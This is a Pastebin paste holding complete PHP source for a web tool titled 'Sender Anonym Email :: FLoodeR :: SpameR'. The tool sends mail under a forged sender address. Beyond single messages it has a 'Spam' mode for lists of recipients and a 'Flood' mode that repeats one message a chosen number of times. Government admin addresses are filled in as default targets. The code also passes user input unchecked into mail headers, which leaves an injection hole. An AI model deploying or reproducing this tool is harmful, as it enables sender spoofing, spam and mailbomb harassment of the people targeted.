Advertisement
Guest User

How To Make Your Own Anonymous Email Service

a guest
Sep 20th, 2011
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.90 KB | None | 0 0
  1. <?
  2. /*
  3. © NOmeR1
  4. */
  5. ?>
  6. <title>Sender Anonym Email :: FLoodeR :: SpameR</title>
  7. <?
  8. //
  9. error_reporting (0);
  10. if(!set_time_limit(0)) {
  11. $limit = false;
  12. } else {
  13. set_time_limit(0);
  14. ignore_user_abort(1);
  15. $limit = true;
  16. }
  17.  
  18. $log = 'log.txt'; // Log file
  19.  
  20. ini_set('max_execution_time', '0');
  21.  
  22. ?>
  23. set_time_limit(0) = <?if($limit)echo('<font color=Green>On</font>');else
  24. echo('<font color=Red>Off</font> (Working time is limited with the current settings of the server)');?><br>
  25. <?
  26.  
  27. $ip = getenv('REMOTE_ADDR');
  28. if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
  29. {
  30.  
  31. $_POST['to'] = stripslashes($_POST['to']);
  32. $_POST['msg'] = stripslashes($_POST['msg']);
  33. $_POST['from'] = stripslashes($_POST['from']);
  34. $_POST['subject'] = stripslashes($_POST['subject']);
  35.  
  36. if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe'])
  37. {
  38. $headers = "MIME-Version: 1.0\r\n";
  39. $headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
  40. $headers .= "From: ".$_POST['from']."\n";
  41. if($_GET['mail'] == '1')
  42. {
  43. mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  44. }
  45. elseif($_GET['mail'] == '2')
  46. {
  47. $_POST['to'] = explode("\n",$_POST['to']);
  48. foreach($_POST['to'] as $poluchatels)
  49. {
  50. mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  51. }
  52. }
  53. elseif($_GET['mail'] == '3')
  54. {
  55. if(preg_match('/[0-9]+/',$_POST['kol']))
  56. {
  57. for($i=0;$i<$_POST['kol'];$i++)
  58. {
  59. mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  60. sleep(1);
  61. }
  62. }
  63. else
  64. {
  65. echo('Incorrect (or not entered) number of messages');
  66. }
  67. }
  68. $f = fopen($log,'a');
  69. fwrite($f,'Message sent &'.$_POST['msg'].'& with subject "'.$_POST['subject'].'" for "'.$_POST['to'].'" from IP - "'.$ip."\"\r\n");
  70. fclose($f);
  71. echo('<center><b><font color="green">Message succesfully sent</font></b></center>');
  72. }
  73. else
  74. {
  75. ?>
  76. <form style="width:350px" method='post'>
  77. <?
  78. if($_GET['mail'] == '1' || $_GET['mail'] == '3')
  79. {
  80. echo("Receiver &nbsp;<input type='text'name='to'><br>");
  81. }
  82. ?>
  83. Sender <input type='text' name='from'><br>
  84. Subject &nbsp;<input type='text' name='subject'><br>
  85. <?
  86. if($_GET['mail'] == '3')
  87. {
  88. echo("Amount of messages <input type='text' name='kol'><br>");
  89. }
  90. ?>
  91. <br>
  92. htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br>
  93. <?
  94. if($_GET['mail'] == '2')
  95. {
  96. echo("Receivers<br><textarea name='to' rows='10' cols='30'>admin@fbi.org
  97. admin@cia.org
  98. admin@whitehouse.org</textarea>");
  99. }
  100. ?>
  101. <br>Message<br>
  102. <textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
  103. </form>
  104. <?
  105. }
  106. } else {
  107. ?><br>
  108. <a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Send simple message</a><br>
  109. <a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Spam</a><br>
  110. <a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Flood</a><br>
  111. <?
  112. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement